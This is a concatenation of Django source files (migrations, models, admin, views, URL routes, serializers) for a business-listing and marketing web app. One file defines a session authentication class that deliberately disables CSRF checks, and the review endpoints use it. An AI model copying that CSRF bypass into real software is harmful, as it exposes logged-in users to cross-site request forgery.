class Migration(migrations.Migration):
dependencies = [
('manage_jobs', '0003_auto_20200919_1225'),
]
operations = [
migrations.CreateModel(
name='DfJobApplaicationSet',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Name', models.CharField(max_length=120)),
('email', models.EmailField(max_length=120)),
('contact_no', models.BigIntegerField()),
('Application_Date', models.DateTimeField(default=django.utils.timezone.now)),
('Job_title', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='Job_DfJobs', to='manage_jobs.DfJobs')),
('job_cate', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='AwWineType_DfApplay', to='manage_jobs.DfJobCategory')),
],
options={
'verbose_name_plural': 'DF Job Applaication',
},
),
migrations.DeleteModel(
name='DfJobApplaication',
),
]
<file_sep>from django.contrib import admin
from import_export.admin import ImportExportModelAdmin
from .models import DfPrice,DfPackageName
# Register your models here.
class DfPackageNameAdmin(ImportExportModelAdmin):
list_display = ('name','keyword')
admin.site.register(DfPackageName,DfPackageNameAdmin)
class DfPriceAdmin(ImportExportModelAdmin):
list_display = ('Package_Type','Price','Duration_Type','Duration_time','Start','Create_Date','Orders_set')
admin.site.register(DfPrice,DfPriceAdmin)
<file_sep># Generated by Django 3.0.4 on 2020-04-10 11:31
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_locations', '0002_auto_20200410_1653'),
]
operations = [
migrations.AlterField(
model_name='dfbusinesslocation',
name='About_Business',
field=models.TextField(blank=True, null=True),
),
]
<file_sep># Generated by Django 3.0.6 on 2020-09-22 12:08
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('manage_pricing', '0006_auto_20200922_1207'),
]
operations = [
migrations.RemoveField(
model_name='dfprice',
name='priyorty',
),
]
<file_sep>from django.db import models
import django
# Create your models here.
PACKAGE_CHOICES = (
('S','Start'),
('B', 'Business'),
('P', 'Professional'),
('M', 'Max'),
)
DURATION_CHOICES = (
('D','Days'),
('M', 'Month'),
('Y', 'Year'),
)
class DfPackageName(models.Model):
name = models.CharField(max_length=120,unique=True)
keyword = models.CharField(max_length=120,unique=True)
def __str__(self):
return self.name
class Meta:
verbose_name_plural = "DF Package"
class DfPrice(models.Model):
Package_Type = models.OneToOneField(DfPackageName, on_delete=models.SET_NULL,unique=True,null=True)
Price = models.FloatField(default=0)
Duration_Type = models.CharField(max_length=120,choices=DURATION_CHOICES,null=True, blank=True)
Duration_time = models.IntegerField(default=0)
Start = models.BooleanField(default=True)
Orders_set = models.IntegerField(default=0,unique=True)
Create_Date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return str(self.Package_Type)
class Meta:
verbose_name_plural = "DF Price"
<file_sep># Generated by Django 3.0.4 on 2020-04-10 10:39
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='DfCountry',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Country_Name', models.CharField(max_length=20)),
('Status', models.BooleanField(default=True)),
('Create_date', models.DateTimeField(default=django.utils.timezone.now)),
('Create_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),
],
options={
'verbose_name_plural': 'DF Country',
},
),
migrations.CreateModel(
name='DfState',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('State_name', models.CharField(max_length=20)),
('Status', models.BooleanField(default=True)),
('Create_date', models.DateTimeField(default=django.utils.timezone.now)),
('Country_Name', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_dropdown_value.DfCountry')),
('Create_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),
],
options={
'verbose_name_plural': 'DF State',
},
),
migrations.CreateModel(
name='DfCity',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('City_name', models.CharField(max_length=20)),
('Status', models.BooleanField(default=True)),
('Create_date', models.DateTimeField(default=django.utils.timezone.now)),
('Country_Name', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_dropdown_value.DfCountry')),
('Create_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),
('State_Name', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_dropdown_value.DfState')),
],
options={
'verbose_name_plural': 'DF City',
},
),
migrations.CreateModel(
name='DfBusinessCategory',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Category_Name', models.CharField(max_length=50)),
('Status', models.BooleanField(default=True)),
('Create_date', models.DateTimeField(default=django.utils.timezone.now)),
('Create_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),
],
options={
'verbose_name_plural': 'DF Business Category',
},
),
]
<file_sep>from django.contrib import admin
from import_export.admin import ImportExportModelAdmin
from .models import DfVoiceFaqs
# Register your models here.
class DfVoiceFaqsAdmin(ImportExportModelAdmin):
list_display = ('DfUser','Location','question','Craete_Date')
admin.site.register(DfVoiceFaqs,DfVoiceFaqsAdmin)<file_sep>from django.apps import AppConfig
class ManageDropdownValueConfig(AppConfig):
name = 'manage_dropdown_value'
<file_sep>from django.apps import AppConfig
class ManagePricingConfig(AppConfig):
name = 'manage_pricing'
<file_sep>from django.contrib import admin
from import_export.admin import ImportExportModelAdmin
from .models import DfBusinessLocation,DfLocationImage,DfLocationPaymentMethod,DfLocationConnectPlatform,DfLocationOpenHours
# Register your models here.
class DfBusinessLocationAdmin(ImportExportModelAdmin):
search_fields = ['Store_Code']
list_display = ('Store_Code','Business_category','Country','State','City','Zipcode','Phone_no','Business_Owner_Name','Craete_Date')
list_filter = ('Location_name','Business_category','Country','State','City','Zipcode','Craete_Date',)
class DfLocationImageAdmin(ImportExportModelAdmin):
search_fields = ['Business_Location']
list_display = ('Business_Location','Image','Craete_Date')
list_filter = ('Craete_Date',)
class DfLocationPaymentMethodAdmin(ImportExportModelAdmin):
search_fields = ['Business_Location']
list_display = ('Business_Location','Payment_Method')
class DfLocationConnectPlatforAdmin(ImportExportModelAdmin):
list_display = ('DfUser','Business_Location','Social_Platform','Connection_Status','Craete_Date','Update_Date')
list_filter = ('DfUser','Business_Location','Social_Platform','Connection_Status','Craete_Date',)
class DfLocationOpenHoursAdmin(ImportExportModelAdmin):
list_display = ('Business_Location','date','Day','Type','Open_status','start_time_1','end_time_1','start_time_2','end_time_2')
list_filter = ('Type','Open_status','Business_Location',)
admin.site.register(DfBusinessLocation,DfBusinessLocationAdmin)
admin.site.register(DfLocationImage,DfLocationImageAdmin)
admin.site.register(DfLocationPaymentMethod,DfLocationPaymentMethodAdmin)
admin.site.register(DfLocationConnectPlatform,DfLocationConnectPlatforAdmin)
admin.site.register(DfLocationOpenHours,DfLocationOpenHoursAdmin)<file_sep># Generated by Django 3.0.6 on 2020-08-06 12:01
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('accounts', '0006_auto_20200806_1141'),
]
operations = [
migrations.RemoveField(
model_name='dfuser',
name='Pnone',
),
migrations.AddField(
model_name='dfuser',
name='Phone',
field=models.IntegerField(blank=True, max_length=20, null=True),
),
]
<file_sep># Generated by Django 3.0.5 on 2020-04-20 11:02
from django.db import migrations, models
import manage_locations.models
class Migration(migrations.Migration):
dependencies = [
('manage_locations', '0016_dflocationopenhours_date'),
]
operations = [
migrations.AlterField(
model_name='dfbusinesslocation',
name='Business_Logo',
field=models.FileField(blank=True, null=True, upload_to=manage_locations.models.user_directory_path),
),
]
<file_sep>from django.urls import path
from . import views
from django.views.decorators.csrf import csrf_exempt
urlpatterns = [
path('', views.GetFaqs.as_view()),
path('one-faq/<int:pk>', views.GetOneFaq.as_view()),
]<file_sep># Generated by Django 3.0.6 on 2020-08-21 16:21
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('accounts', '0007_auto_20200806_1201'),
]
operations = [
migrations.AlterField(
model_name='dfuser',
name='Phone',
field=models.IntegerField(blank=True, null=True),
),
]
<file_sep># Generated by Django 3.0.6 on 2020-08-15 12:49
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
import manage_campus.models
class Migration(migrations.Migration):
dependencies = [
('accounts', '0007_auto_20200806_1201'),
('manage_campus', '0008_dfuseremail_contact'),
]
operations = [
migrations.CreateModel(
name='DfUploadImage',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('UploadFile', models.ImageField(blank=True, null=True, upload_to=manage_campus.models.upload_image_path_for_banner)),
('Create_date', models.DateTimeField(default=django.utils.timezone.now)),
('DfUser', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='accounts.DfUser')),
],
options={
'verbose_name_plural': 'DF Upload Image',
},
),
]
<file_sep># Generated by Django 3.0.5 on 2020-04-16 12:24
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('manage_locations', '0014_auto_20200416_1223'),
]
operations = [
migrations.RenameField(
model_name='dfbusinesslocation',
old_name='Do_Not_Publish_My_Address',
new_name='Do_not_publish_my_address',
),
]
<file_sep>from django.db import models
from accounts.models import DfUser
from manage_locations.models import DfBusinessLocation
import django
from datetime import date
# Create your models here.
class DfVoiceFaqs(models.Model):
DfUser = models.ForeignKey(DfUser, on_delete=models.SET_NULL, null=True, blank=True)
Location = models.ForeignKey(DfBusinessLocation, on_delete=models.SET_NULL, null=True, blank=True)
question = models.CharField(max_length=500)
answer = models.TextField(null=True,blank=True)
Craete_Date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return self.question
class Meta:
verbose_name_plural = "DF Voice Faqs"<file_sep># Generated by Django 3.0.6 on 2020-09-19 12:01
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('manage_jobs', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
name='dfjobs',
options={'verbose_name_plural': 'DF Jobs'},
),
migrations.CreateModel(
name='DfJobApplaication',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Name', models.CharField(max_length=120)),
('email', models.EmailField(max_length=120)),
('contact_no', models.BigIntegerField()),
('Application_Date', models.DateTimeField(default=django.utils.timezone.now)),
('Job', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='Job_DfJobs', to='manage_jobs.DfJobs')),
('job_category', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='AwWineType_DfApplay', to='manage_jobs.DfJobCategory')),
],
options={
'verbose_name_plural': 'DF Job Applaication',
},
),
]
<file_sep>from django.db import models
import django
from autoslug import AutoSlugField
from datetime import date
# Create your models here.
def user_directory_path_for_banner(instance, filename):
project_id_in_list = instance.Blog_Title.split(" ")
today_date = date.today()
project_id_in_string = '_'.join([str(elem) for elem in project_id_in_list])
return '{0}/{1}'.format("blogs/"+project_id_in_string+"/banner/"+str(today_date.year)+"/"+str(today_date.month)+"/"+str(today_date.day),filename)
class DfBlogs(models.Model):
Blog_Title = models.CharField(max_length=120)
Blog_slug = AutoSlugField(populate_from='Blog_Title', always_update=True,unique_with='Create_date__month',null=True, blank=True)
Blog_Image = models.ImageField(upload_to=user_directory_path_for_banner)
Message = models.TextField()
Create_date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return self.Blog_Title
class Meta:
verbose_name_plural = "DF Blogs"<file_sep># Generated by Django 3.0.6 on 2020-09-23 06:49
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_orders_and_payments', '0006_auto_20200923_0646'),
]
operations = [
migrations.AlterField(
model_name='dfordersandpayment',
name='Final_Amount',
field=models.FloatField(),
),
]
<file_sep># Generated by Django 3.0.6 on 2020-09-22 11:46
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_pricing', '0003_auto_20200922_1110'),
]
operations = [
migrations.AddField(
model_name='dfprice',
name='priyorty',
field=models.IntegerField(default=0),
),
migrations.AlterField(
model_name='dfprice',
name='Duration_Type',
field=models.CharField(blank=True, choices=[('D', 'Days'), ('M', 'Month'), ('Y', 'Year')], max_length=120, null=True),
),
]
<file_sep># Generated by Django 3.0.6 on 2020-09-22 12:36
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('manage_pricing', '0009_auto_20200922_1216'),
]
operations = [
migrations.AddField(
model_name='dfprice',
name='Orders_set',
field=models.IntegerField(default=0, unique=True),
),
migrations.AlterField(
model_name='dfprice',
name='Package_Type',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_pricing.DfPackageName', unique=True),
),
]
<file_sep>from django.db import models
from django.contrib.auth.models import User
import django
# Create your models here.
class DfBusinessCategory(models.Model):
Category_Name = models.CharField(max_length=50)
Status = models.BooleanField(default=True)
Create_by = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True)
Create_date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return self.Category_Name
class Meta:
verbose_name_plural = "DF Business Category"
class DfCountry(models.Model):
Country_Name = models.CharField(max_length=20)
Status = models.BooleanField(default=True)
Create_by = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True)
Create_date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return self.Country_Name
class Meta:
verbose_name_plural = "DF Country"
class DfState(models.Model):
Country_Name = models.ForeignKey(DfCountry, on_delete=models.SET_NULL, null=True, blank=True)
State_name = models.CharField(max_length=20)
Status = models.BooleanField(default=True)
Create_by = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True)
Create_date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return self.State_name
class Meta:
verbose_name_plural = "DF State"
<file_sep># Generated by Django 3.0.6 on 2020-09-22 11:56
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_orders_and_payments', '0003_auto_20200922_1154'),
]
operations = [
migrations.AlterField(
model_name='dforders',
name='End_Date',
field=models.DateField(blank=True, null=True),
),
migrations.AlterField(
model_name='dforders',
name='Payment_Type',
field=models.CharField(blank=True, max_length=120, null=True),
),
migrations.AlterField(
model_name='dforders',
name='Start_Date',
field=models.DateField(blank=True, null=True),
),
]
<file_sep># Generated by Django 3.0.6 on 2020-08-11 11:23
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_campus', '0005_auto_20200811_0951'),
]
operations = [
migrations.AlterField(
model_name='dfcampaign',
name='Head',
field=models.CharField(blank=True, max_length=500, null=True),
),
migrations.AlterField(
model_name='dfcampaign',
name='Sent_from',
field=models.CharField(max_length=500),
),
migrations.AlterField(
model_name='dfcampaign',
name='Subject',
field=models.CharField(blank=True, max_length=500, null=True),
),
migrations.AlterField(
model_name='dfcampaign',
name='Title',
field=models.CharField(max_length=500),
),
migrations.AlterField(
model_name='dfcampaign',
name='replay_to',
field=models.CharField(max_length=500),
),
]
<file_sep># Generated by Django 3.0.4 on 2020-04-10 11:23
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('manage_dropdown_value', '0002_delete_dfcity'),
('manage_locations', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='dfbusinesslocation',
name='Business_catugory',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_dropdown_value.DfBusinessCategory'),
),
migrations.AlterField(
model_name='dfbusinesslocation',
name='Country',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_dropdown_value.DfCountry'),
),
migrations.AlterField(
model_name='dfbusinesslocation',
name='State',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_dropdown_value.DfState'),
),
]
<file_sep># Generated by Django 3.0.6 on 2020-08-10 09:25
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_campus', '0003_auto_20200810_0748'),
]
operations = [
migrations.AddField(
model_name='dfcampaign',
name='Extera_data',
field=models.TextField(blank=True, null=True),
),
]
<file_sep># Generated by Django 3.0.4 on 2020-04-20 09:19
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
('manage_locations', '0009_auto_20200413_1648'),
('accounts', '0005_auto_20200410_1503'),
]
operations = [
migrations.CreateModel(
name='DfLocationReviews',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Social_Plateform', models.CharField(blank=True, max_length=50, null=True)),
('User_Name', models.CharField(blank=True, max_length=50, null=True)),
('Reating', models.CharField(blank=True, max_length=50, null=True)),
('Review', models.TextField(blank=True, null=True)),
('User_Image_URL', models.TextField(blank=True, max_length=50, null=True)),
('Review_dateTime', models.CharField(blank=True, max_length=50, null=True)),
('Craete_Date', models.DateTimeField(default=django.utils.timezone.now)),
('Business_Location', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_locations.DfBusinessLocation')),
('User', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='accounts.DfUser')),
],
options={
'verbose_name_plural': 'DF Business Reviews',
},
),
]
<file_sep>from django.apps import AppConfig
class ManageVoiceFaqsConfig(AppConfig):
name = 'manage_voice_faqs'
<file_sep>from django.urls import path
from . import views
from django.views.decorators.csrf import csrf_exempt
urlpatterns = [
path('', views.GetPriceList.as_view()),
path('one-package/<int:pk>', views.GetOnePackage.as_view()),
# path('job-application', views.AddJobsApplication.as_view()),
]<file_sep># Generated by Django 3.0.5 on 2020-04-20 14:05
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('manage_locations', '0018_auto_20200420_1111'),
]
operations = [
migrations.AlterField(
model_name='dflocationopenhours',
name='Business_Location',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='Df_location_poen_hour', to='manage_locations.DfBusinessLocation'),
),
]
<file_sep># Generated by Django 3.0.6 on 2020-08-11 09:51
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_campus', '0004_dfcampaign_extera_data'),
]
operations = [
migrations.AddField(
model_name='dfcampaign',
name='Head',
field=models.CharField(blank=True, max_length=150, null=True),
),
migrations.AddField(
model_name='dfcampaign',
name='Subject',
field=models.CharField(blank=True, max_length=150, null=True),
),
]
<file_sep># Generated by Django 3.0.6 on 2020-09-10 11:21
import autoslug.fields
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='DfJobCategory',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('CategoryName', models.CharField(max_length=120, unique=True)),
('Create_date', models.DateTimeField(default=django.utils.timezone.now)),
],
options={
'verbose_name_plural': 'DF Job Category',
},
),
migrations.CreateModel(
name='DfJobs',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Job_Title', models.CharField(max_length=120)),
('Job_slug', autoslug.fields.AutoSlugField(always_update=True, blank=True, editable=False, null=True, populate_from='Job_Title', unique_with=('Create_date__month',))),
('Job_Description', models.TextField()),
('Create_date', models.DateTimeField(default=django.utils.timezone.now)),
('Category_name', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='AwWineType_DfJobs', to='manage_jobs.DfJobCategory')),
],
options={
'verbose_name_plural': 'DF Job Category',
},
),
]
<file_sep>from django.contrib import admin
from import_export.admin import ImportExportModelAdmin
from .models import DfOrders ,DfOrdersAndPayment
# Register your models here.
class DfOrdersAdmin(ImportExportModelAdmin):
list_display = ('Order_id','DfUser','Package','Final_Amount','Duration_Time','Duration_Type','Create_Date','Payment','Payment_Type','Transaction_id','Payment_Date','Active','Start_Date','End_Date')
readonly_fields = ["Order_id"]
admin.site.register(DfOrders,DfOrdersAdmin)
class DfOrdersAndPaymentAdmin(ImportExportModelAdmin):
list_display = ('Order_id','DfUser','Package','Final_Amount','Duration_Time','Duration_Type','Create_Date','Payment','Payment_Type','Transaction_id','Payment_Date','Active','Start_Date','End_Date')
readonly_fields = ["Order_id"]
admin.site.register(DfOrdersAndPayment,DfOrdersAndPaymentAdmin)<file_sep># Generated by Django 3.0.6 on 2020-09-22 12:16
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_pricing', '0008_auto_20200922_1211'),
]
operations = [
migrations.RemoveField(
model_name='dfprice',
name='PackageType',
),
migrations.AddField(
model_name='dfprice',
name='Package_Type',
field=models.CharField(blank=True, choices=[('S', 'Start'), ('B', 'Business'), ('P', 'Professional'), ('M', 'Max')], max_length=120, null=True, unique=True),
),
]
<file_sep>from django.shortcuts import render
from django.shortcuts import render,get_object_or_404
from rest_framework.views import APIView
from rest_framework.decorators import api_view
from rest_framework.response import Response
from rest_framework.authentication import TokenAuthentication,BasicAuthentication
from dashifyproject.tokens import CsrfExemptSessionAuthentication
from rest_framework.permissions import IsAuthenticated
from accounts.models import DfUser
from .serializear import SaveReviewsSerializers,GetReviewsSerializers,GetLocationserializer
from rest_framework import exceptions
from .models import DfLocationReviews
from django.db.models import Count
from rest_framework import generics
# Create your views here.
class SaveReviewsView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self,request):
message = ""
if request.method == "POST":
request.data["user_id"] = self.request.user.id
serializer = SaveReviewsSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
message = serializer.validated_data
return Response({"message": message}, status=200)
class GetAllReviewView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self,request):
reviews = {}
request.data["user_id"] = self.request.user.id
serializer = GetLocationserializer(data=request.data)
serializer.is_valid(raise_exception=True)
location_ins = serializer.validated_data
if DfUser.objects.filter(user=self.request.user).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user=self.request.user)
if DfLocationReviews.objects.filter(Df_User=get_Dfuser_ins).filter(Business_Location=location_ins).exists():
get_social_platfrom = DfLocationReviews.objects.values_list('Social_Plateform', flat=True).annotate(dcount=Count('Social_Plateform')).filter(Df_User=get_Dfuser_ins).filter(Business_Location=location_ins)
if get_social_platfrom is not None:
for item in get_social_platfrom:
get_all_review = DfLocationReviews.objects.filter(Df_User=get_Dfuser_ins).filter(Business_Location=location_ins).filter(Social_Plateform=item).order_by('-id')
# get_all_review_sri = GetReviewsSerializers(get_all_review, many=True , context={"request":request})
get_all_review_sri = GetReviewsSerializers(get_all_review, many=True)
get_data = get_all_review_sri.data
reviews[item] = get_data
else:
msg = "Login User is not exists"
raise exceptions.ValidationError(msg)
return Response({"reviews": reviews}, status=200)
<file_sep>from rest_framework import serializers
from .models import DfFaqs
class DfFaqsSerializer(serializers.ModelSerializer):
class Meta:
model = DfFaqs
fields = ['id','Category', 'Question', 'Question_slug', 'Ansews', 'Create_date']
depth = 2
<file_sep>from django.shortcuts import render
from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework.permissions import IsAuthenticated
from rest_framework.authentication import TokenAuthentication,SessionAuthentication,BasicAuthentication
from .models import DfBusinessCategory,DfCountry,DfState
from .serializear import DfBusinessCategorySerializers,DfCountrySerializers,DfStateSerializers
# Create your views here.
class BusinessCategoryesView(APIView):
authentication_classes = (TokenAuthentication,SessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def get(self,request):
businessCategory = {}
if DfBusinessCategory.objects.filter(Status=True).exists():
businessCategory = DfBusinessCategory.objects.filter(Status=True)
businessCategory_si = DfBusinessCategorySerializers(businessCategory,many=True)
businessCategory = businessCategory_si.data
return Response({'BusinessCategory':businessCategory},status=200)
class CounrtyView(APIView):
authentication_classes = (TokenAuthentication,SessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def get(self,request):
dfCountry = {}
if DfCountry.objects.filter(Status=True).exists():
dfCountry = DfCountry.objects.filter(Status=True)
dfCountry_si = DfCountrySerializers(dfCountry,many=True)
dfCountry = dfCountry_si.data
return Response({'counrty':dfCountry},status=200)
class CounrtyView(APIView):
authentication_classes = (TokenAuthentication,SessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def get(self,request):
dfCountry = {}
if DfCountry.objects.filter(Status=True).exists():
dfCountry = DfCountry.objects.filter(Status=True)
dfCountry_si = DfCountrySerializers(dfCountry,many=True)
dfCountry = dfCountry_si.data
return Response({'counrty':dfCountry},status=200)
class StatesView(APIView):
authentication_classes = (TokenAuthentication,SessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def get(self,request):
dfState = {}
if DfState.objects.filter(Status=True).exists():
dfState = DfState.objects.filter(Status=True)
dfState_si = DfStateSerializers(dfState,many=True)
dfState = dfState_si.data
return Response({'status':dfState},status=200)<file_sep>from rest_framework.authentication import SessionAuthentication
from django.contrib.auth.tokens import PasswordResetTokenGenerator
from six import text_type
class CsrfExemptSessionAuthentication(SessionAuthentication):
def enforce_csrf(self, request):
return # To not perform the csrf check previously happening
class TokenGenerator(PasswordResetTokenGenerator):
def _make_hash_value(self, user, timestamp):
return (
text_type(user.pk) + text_type(timestamp) +
text_type(user.is_active)
)
account_activation_token = TokenGenerator()
<file_sep># Generated by Django 3.0.4 on 2020-04-09 18:01
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('accounts', '0002_dfuser'),
]
operations = [
migrations.AddField(
model_name='dfuser',
name='Address',
field=models.TextField(default=''),
),
]
<file_sep># Generated by Django 3.0.4 on 2020-04-13 10:16
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('social_media_platforms', '0002_auto_20200413_1243'),
('accounts', '0005_auto_20200410_1503'),
('manage_locations', '0007_dflocationpaymentmethod'),
]
operations = [
migrations.CreateModel(
name='DfLocationConnectPlatfor',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Connection_Status', models.CharField(blank=True, max_length=20, null=True)),
('Craete_Date', models.DateTimeField(default=django.utils.timezone.now)),
('Update_Date', models.DateTimeField(default=django.utils.timezone.now)),
('Business_Location', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='Df_location_connectWith', to='manage_locations.DfBusinessLocation')),
('DfUser', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='accounts.DfUser')),
('Social_Platform', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='Df_location_connectWith', to='social_media_platforms.DfSocialMedia')),
],
options={
'verbose_name_plural': 'DF Business_Location Connect With Social Media',
},
),
]
<file_sep>from django.urls import path
from . import views
urlpatterns = [
path('add-location', views.AddLocationView.as_view()),
path('get-all-locations', views.GetAllLocationView.as_view()),
path('get-location-by-id', views.GetLocationByIdView.as_view()),
path('remove-location-by-id', views.RemoveLocationByIdView.as_view()),
path('edit-Location-Business-by-id', views.EditLocationBusinessView.as_view()),
path('edit-Location-operations-hours-by-id', views.EditLocationHoursView.as_view()),
path('edit-Location-payment-method-by-id', views.EditLocationPaymentMethodView.as_view()),
path('location-connect-with-social-media', views.LocationConnectWithSocialSedia.as_view()),
path('location-connect-remove-with-social-media', views.LocationConnectRemoveWithSocialSedia.as_view()),
path('get-all-connection-of-one-location', views.GetAllConnectionOfOneLocation.as_view()),
path('get-all-connection-of-business-locationn-to-platfrom', views.GetAllConnectionOfBusinessLocationnToPlatfrom.as_view()),
path('update-images-files-by-location-id', views.UpdateImagesFilesByLocationIdView.as_view()),
path('add-other-images-files-by-location-id', views.AddOtherImagesFilesByLocationIdView.as_view()),
path('update-other-images-files-by-location-id-image-id', views.UpdateOtherImagesFilesByLocationIdImageIdView.as_view()),
path('remove-other-images-files-by-location-id-image-id', views.RemoveOtherImagesFilesByLocationIdImageIdView.as_view()),
path('remove-all-other-images-files-by-location-id', views.RemoveAllOtherImagesFilesByLocationIdView.as_view()),
path('get-open-hours-by-location-id', views.GetOpenHourByLocationIdView.as_view()),
# path('register', views.UserRegistration.as_view()),
# path('login', views.LoginView.as_view(),name="login"),
# path('logout', views.LogoutView.as_view(),name="Logout"),
]<file_sep># Generated by Django 3.0.5 on 2020-04-20 11:11
from django.db import migrations, models
import manage_locations.models
class Migration(migrations.Migration):
dependencies = [
('manage_locations', '0017_auto_20200420_1102'),
]
operations = [
migrations.AlterField(
model_name='dfbusinesslocation',
name='Business_Logo',
field=models.ImageField(blank=True, null=True, upload_to=manage_locations.models.user_directory_path),
),
]
<file_sep># Generated by Django 3.0.6 on 2020-09-10 11:21
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('manage_faqs', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
name='dffaqs',
options={'verbose_name_plural': 'DF Question'},
),
]
<file_sep>from rest_framework import serializers
from django.shortcuts import get_object_or_404
from rest_framework import exceptions
from accounts.models import DfUser
from .models import DfLocationReviews
from manage_locations.models import DfBusinessLocation
class SaveReviewsSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Social_Plateform = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
